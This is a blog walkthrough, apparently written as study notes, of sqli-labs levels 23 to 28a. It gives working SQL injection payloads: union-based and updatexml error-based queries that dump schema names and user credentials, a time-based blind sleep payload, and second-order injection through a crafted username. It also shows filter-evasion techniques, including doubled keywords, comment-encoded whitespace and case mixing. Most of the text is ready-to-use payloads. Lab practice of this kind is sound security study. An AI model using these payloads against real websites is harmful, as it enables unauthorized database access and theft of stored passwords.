less-23

可以看得出來單引號就是閉合,但依然上圖最兩個payload都出錯,那有可能是過濾掉了註釋符號。

既然過濾掉註釋符號,那就要多一個單引號來閉合,也需要多一些or來確保注入語句可以順利執行,跟less-18的

'OR updatexml(1,concat("!",database()),2) OR'

有異曲同工之妙。

可以再仔細看看原始碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

如果把註釋符號過濾,那注入1' union select null,database(),3 --+後會變成

$sql="SELECT * FROM users WHERE id='1' union select null,database(),3 ' LIMIT 0,1";

所以會出錯。

注意!,如果注入:

1' union select null,database(),3 or '

還是只會顯示admin跟admin,必須把1調成不在資料庫裡的數字(如-1),才有機會讓網頁顯示我們要的資訊。所以注入:

-1' union select null,database(),3 or '

看看上圖灰底字,就是database()有執行的證明。之後把上圖藍字部分換成慣用payload即可。

查security這個DB裡有哪些table:

union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
查security這個DB裡的users這個table有哪些column:

union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
查詢users這個table裡的username跟password:

union select null,group_concat(username),group_concat(password) FROM users

但要注意上一句如果直接輸入會出問題:

可以在payload創造一個恆真條件閉合:

union select null,group_concat(username),group_concat(password) FROM users WHERE 1=1

less-24

登入後看到以下頁面:

直覺先用payload狂打,看能不能繞,

但結果出來如下圖,通通不行。

不過以admin登入以後可以更改密碼。

所以這一題是二次注入。先註冊一個有問題的帳號,以閉合且註釋掉後面語句。

比如註冊admin1'#,可以看見目前資料庫如下圖,admin1'#的密碼是123456,而admin1的密碼是admin1:

D:\phpStudy_2016>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 149
Server version: 5.5.47 MySQL Community Server (GPL)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.00 sec)

mysql> use security;
Database changed
mysql> select username,password FROM users;
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
| admin1'# | 123456     |
+----------+------------+
14 rows in set (0.00 sec)

(具體資料庫操作可以參考以下網頁:

http://mirlab.org/jang/books/asp/sql01.asp?title=18-3%20%A8%CF%A5%CE%20SQL%20%A8%D3%C0%CB%B5%F8%B8%EA%AE%C6

https://tsuozoe.pixnet.net/blog/post/21283890

)

接下來把我們註冊的admin1'#的密碼修改成7890:

再次查詢即可得知admin1的密碼被改了,如下圖反白。

問題出在pass_change.php的這一行:

$sql = "UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass' ";

當我們註冊了admin1'#時,語句變為

$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'#' and password='$curr_pass' ";

這時admin1'#的#把後面的語句通通被註解掉,而admin1'#的單引號發揮了閉合的效果,所以實際上語句變成下面這樣,改到的是admin1。

$sql = "UPDATE users SET PASSWORD ='$pass' where username ='admin1'

less-25

如果報錯可回顯,那麼直接在1的後面加一個反斜線即可知道原本語句是如何閉合的。可以看到上圖紅圈,反斜線後面是單引號,代表是用單引號閉合。

另外也要注意兩點:

第一、id後面要=-1或是其他資料庫沒有的數字,才會正確讀出。

第二、注意到報錯訊息,可以發現原始的sql語句包含LIMIT...,這代表注入語句後面用--+無法註釋掉,要用 or '才有用。

第三、可以看看這網頁的提示如下圖,可以知道會對注入語句的or跟and做過濾。or可以用||或是oORr,and可以用&&或AandND來躲避過濾(如果只過濾一次英文的話)。

所以之前習慣用的payload要做處理。

上圖反藍就是可以讓我們塞payload的地方,但在執行前還要把它編碼,可以用chrome 的hackbar來幫忙:

把後面部分反藍,先點encoding再點url encode,即可編碼。反灰是結果,反藍就是被編碼過的現有資料庫查詢語句。

那再來看看之前常用的payload,它是可以塞到上上上張圖的反藍處:

union select null,null,group_concat(TABLE_NAME) from infoORrmation_schema.tables where TABLE_SCHEMA = 'security'

union select null,null,group_concat(COLUMN_NAME) FROM infoORrmation_schema.columns WHERE TABLE_SCHEMA = 'security' AandND TABLE_NAME = 'users'

union select null,group_concat(username),group_concat(passwoORrd) FROM users WHERE '1'='1'

但是要注意,因為網頁會把or濾掉,所以要把原本含有or的字多加一個or,像是information_schema改成infoORrmation_schema,password改成passwoORrd。

less-26

網頁直接給提示,不允許空白跟註釋。先測試閉合,透過單引號(下圖反灰)跟錯誤訊息(下圖反藍),可以得知是透過單引號閉合。

但如果禁止空白,那麼原本的那些語句:

# 查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
# 查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
# 查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users

一定都會遇到空白,而且環境可能還不認空白的替代品--%a0。幸好這網頁可以回顯錯誤,可以使用updatexml,因為此函數可以用小括號和運算符來代替空白,。另外,在不使用註釋的前提下,想閉合後面語句,就用||'。比如說原始碼裡是'id',那麼注入語句應該是'||查詢語句||'

updatexml(1,concat('$',(database())),0)

上圖的反藍處可以取代成查詢語句,注意以下查詢語句為了躲避or的過濾,or會寫成oorr。

security這個DB有哪一些table(表名):

updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)

users這個table有哪一些column(字段名):

updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)

爆出column內容:

updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)

注意因没有空格不能使用limit 0,1,而报错有字符限制也不能使用group_concat(),所以只能使用where条件来控制偏移量。

less-26a

如何判斷閉合?

這一次沒有錯誤回顯,但可以直接用union select回顯。如果使用windows的phpstudy,根本無法用%a0來繞過空格,也可以使用盲注,延時盲注的語法不須空格,這裡使用盲注。

資料庫名稱長度: (注意注入語句兩邊是and)

1')anandd(if((length(database())=8),sleep(5),1))anandd('1

如果猜對的話load會需要5秒,畫面呈現會是如下:

代換上圖反灰即可。

less-27

閉合測試:

首先用

https://github.com/TheKingOfDuck/fuzzDicts/blob/master/sqlDict/sql.txt

這個字典檔進行注入點fuzzing,結果如下:

從上圖來看,這題一樣會過濾空格,也會過濾註釋,而在windows的phpstudy底下,/*%0a*/可以代表空白。

從上圖可知這題應該是單引號閉合。

從上圖可以看出非')閉合

(參考less-1,但有改)

如果直接把less-1的注入語句

union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'

的union select給大小寫混淆,以及將空格以/*%0a*/替代的話,結果會怪怪的,注入語句應該要用

UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4

才會正常。

還有,如果是等等會提到的報錯注入,那麼可以用

1' || 注入語句 || '1

這樣的方式來注入。但如果是現在提的直接回顯方式,這樣的作法會出錯(為何?),必須改成

0' 注入語句 || '1

而且還要是0或者是很大的正數,才會正確顯示注入語句的內容。以

UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4

這個語句為例。這是顯示security這個DB有哪些table,但如果0改成-1,只會顯示:

如果是其他負數,則會顯示帳密。

顯示欄位(column名稱)

UnIoN SeLeCt 1,(SeLeCt group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'),2

上圖反灰處即為塞payload的地方。

顯示帳密:

UnIoN SeLeCt 3,(SeLeCt group_concat(username) FROM users),2

UnIoN SeLeCt 3,(SeLeCt group_concat(password) FROM users),2

另外,這一題的報錯會回顯,所以用updatexml試試看:

爆出security裡的table:

updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)

變形:(無空格)

updatexml(1,concat("!",(SeLeCT(group_concat(table_name))FROM(information_schema.tables)WHERE (table_schema='security'))),2)

爆出users table裡的column

updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)

變形:(無空格)

updatexml(1,concat("!",(SeLeCT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_schema='security')AND(table_name='users')))),2)

爆出column內容

updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1)

變形:(無空格)

updatexml(1,concat(0x7e,(SeLeCT(group_concat(username,':',password))from(users)),1)

less-27a

跟less-27相同,只是是用"閉合,給出其中一個payload作參考:

0"UnIoN/*%0a*/SeLeCt/*%0a*/3,(database()),2||"1

上圖藍字更換成其他查詢語句。

less-28

閉合:

1' and '1' = '1成立(如下圖),這表示原始碼內查詢語句有兩種可能:

select * from table where id = '1' and '1' = '1';

select * from table where id = ('1' and '1' = '1');

所以再進一步的試試,是不是第二種:

1') and ('1') = ('1

所以閉合就是')。

接下來就是測試以往用過的注入語句:

可以從上圖反藍跟反灰看的出來這一次是union跟select一起出現就會觸發過濾,所以用雙寫繞過即可。雙寫寫法如下:

網頁會過濾掉上圖反藍,所以還剩下一對union跟select。

100')UnIon/*%0a*/sEunion/*%0a*/selectlect/*%0a*/3,(database()),2 || ('1

替換掉上圖反藍即可更換查詢語句。

less-28a

其實跟less-28差不多,閉合是一樣的,過濾也差不多,可以用雙寫繞過。


#sql inkection: union攻擊-另一種寫法 #sql inkection: windows底下之空白繞過(union攻擊寫法、報錯注入寫法、延時注入寫法) #sql inkection: 繞穿註釋符號過濾(union攻擊寫法) #sql inkection: 恆真條件閉合 #sql inkection: 二次注入(提供設定新帳密功能) #sql inkection: 繞穿and/or過濾(union攻擊寫法、報錯注入寫法) #sql inkection: 閉合測試 #sql基本操作







Related Posts

超讚 Deep Learning on 3D object detection 相關教學影片彙整

超讚 Deep Learning on 3D object detection 相關教學影片彙整

從OSX連線到IIS Express

從OSX連線到IIS Express

進入 Vue.js 前的 ES6 必備知識

進入 Vue.js 前的 ES6 必備知識


Comments